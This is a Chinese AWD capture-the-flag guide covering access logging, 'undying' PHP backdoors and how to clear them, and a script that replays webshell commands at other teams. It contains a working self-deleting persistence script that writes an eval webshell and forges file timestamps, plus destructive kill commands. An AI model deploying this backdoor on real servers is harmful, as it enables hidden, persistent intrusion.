AWD监控&不死马&垃圾包&资源库

a4b38115c434a19f192dfa8a6eae25f3

防守-流量监控-实时获取访问数据包流量

利用 WEB 访问监控配合文件监控能实现 WEB 攻击分析及后门清除操作,确保写入后门操作失效,也能确保分析到无后门攻击漏洞的数据包便于后期利用。

  • 上传文件监控脚本log-record.php,该脚本需要在网站配置文件footer.php中包含一下,否则无法正常调用运行。

Snipaste_2023-09-06_09-43-48

  • 之后一旦有人访问了系统,它就会在/tmp/目录下生成一个log日志

Snipaste_2023-09-06_09-44-21

这个日志每过1小时,都会生成新的日志文件,命名方式就是当前的小时时间

攻击-权限维持-不死脚本后门生成及查杀

在攻击利用后门获取 Flag 时,不死后门的权限维持尤为重要,同样防守方也要掌握对其不死后门的查杀和利用,这样才能获取更高的分数,对比文件监控前后问题。

—ignore_user_abort() 函数设置与远程客户机断开是否会终止脚本的执行。如果为 TRUE,则忽略与用户(用户浏览器不访问后)的断开(脚本将继续运行)。默认情况下是设置为 FALSE,与客户机断开会导致脚本停止运行。

—set_time_limit(0); 括号里边的数字是执行时间,如果为零说明永久执行直到程序结束,如果为大于零的数字,则不管程序是否执行完成,到了设定的秒数,程序结束。

—unlink(FILE)为脚本只要一访问,就删除自己,然后执行while循环将code(命令执行后门)写入index.Php文件中,一次循环的时刻为5000秒

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);//进程运行
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2023-12-01 09:10:12" .2.php');
usleep(5000);
}
?>

上传脚本到目标队伍,访问

Snipaste_2023-09-06_09-52-52

查看目标服务器,发现生成了一个2.php,然后将其删除,发现删除不了

原文件被删除,生产了2.php文件,而且2.php文件不能删除(因为while一直在写入x.php文件)

shell工具连接:http://x.x.x.x:xxxx/.x.php?pass=pass

连接密码:a

Snipaste_2023-09-06_09-53-19

如何清除不死马

  1. 找到对应的进程,然后杀掉
  2. 重启系统或重启服务
  3. 以更低的延迟脚本去竞争写入

这里利用条件竞争,重新上传一个不死马,修改while的时间小于原代码

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = 'fuck';
while(1){
file_put_contents($file,$code);
usleep(1000);
}
?>

Snipaste_2023-09-06_10-16-02

1
2
3
4
5
6
7
8
9
10
11
如何杀死不死马:
第一个方法就是,重启自己的服务,这样不死马就没有了,就不会再生成了,毕竟不死马是在内存当中的。
第二种方法就是用命令将在内存中的进程删除。
但是不死马由于是一直刷新的所以pid会一直发生变化
kill -9 -1 #杀死当前用户下的所有进程,这样自然就杀死不死马了
也可以直接 kill all apache2 杀掉 apache 所有子进程重启 apache,php 等web服务(一般不会有权限)service apache2 restart
service php restart

第三种:就是上面这种条件竞争

第四种:创建一个和不死马生成的马一样的名字的文件夹(没有试过)

其他-恶意操作-搅屎棍发包回首掏共权限

作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用。

  • 配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

def scan_attack():
file={'shell.php','x.php','index.php'}
payload={'cat /flag','ls -al'}
while(1):
for i in range(8802,8804):
for ii in file:
url='http://192.168.76.156:'+str(i)+'/'+ii
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("run:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.5)
except Exception as e:
time.sleep(0.5)
pass
if __name__ == '__main__':
scan_attack()

Snipaste_2023-09-06_10-24-44

准备-漏洞资源-漏洞资料库及脚本工具库